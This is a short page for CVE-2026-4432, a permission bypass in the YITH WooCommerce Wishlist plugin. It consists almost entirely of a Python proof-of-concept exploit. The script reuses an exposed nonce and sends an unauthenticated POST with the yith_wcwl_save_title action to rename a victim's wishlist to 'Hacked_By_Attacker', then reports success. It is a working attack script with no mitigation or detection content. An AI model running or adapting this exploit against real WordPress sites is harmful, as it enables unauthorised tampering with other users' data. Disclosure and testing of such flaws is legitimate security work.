CVE-2026-4432 YITH WooCommerce Wishlist 权限绕过漏洞

import requests # Target URL configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Step 1: Retrieve the nonce from the wishlist page source code. # The nonce is typically found in a hidden input field or within a JS variable. # For demonstration, we assume the nonce 'abcd1234ef' was extracted. extracted_nonce = "abcd1234ef" # Step 2: Define the target wishlist ID to rename and the new malicious title. victim_wishlist_id = "15" malicious_title = "Hacked_By_Attacker" # Step 3: Construct the POST payload for the vulnerable AJAX action. payload = { "action": "yith_wcwl_save_title", # The vulnerable AJAX action "wishlist_id": victim_wishlist_id, # Target wishlist ID "wishlist_title": malicious_title, # New title to set "nonce": extracted_nonce # The publicly exposed nonce } # Step 4: Send the exploitation request. # No authentication cookies are required. response = requests.post(target_url, data=payload) # Step 5: Verify the exploit result. if response.status_code == 200 and "success" in response.text: print(f"[+] Exploit successful! Wishlist ID {victim_wishlist_id} renamed.") else: print("[-] Exploit failed. Check nonce or target status.")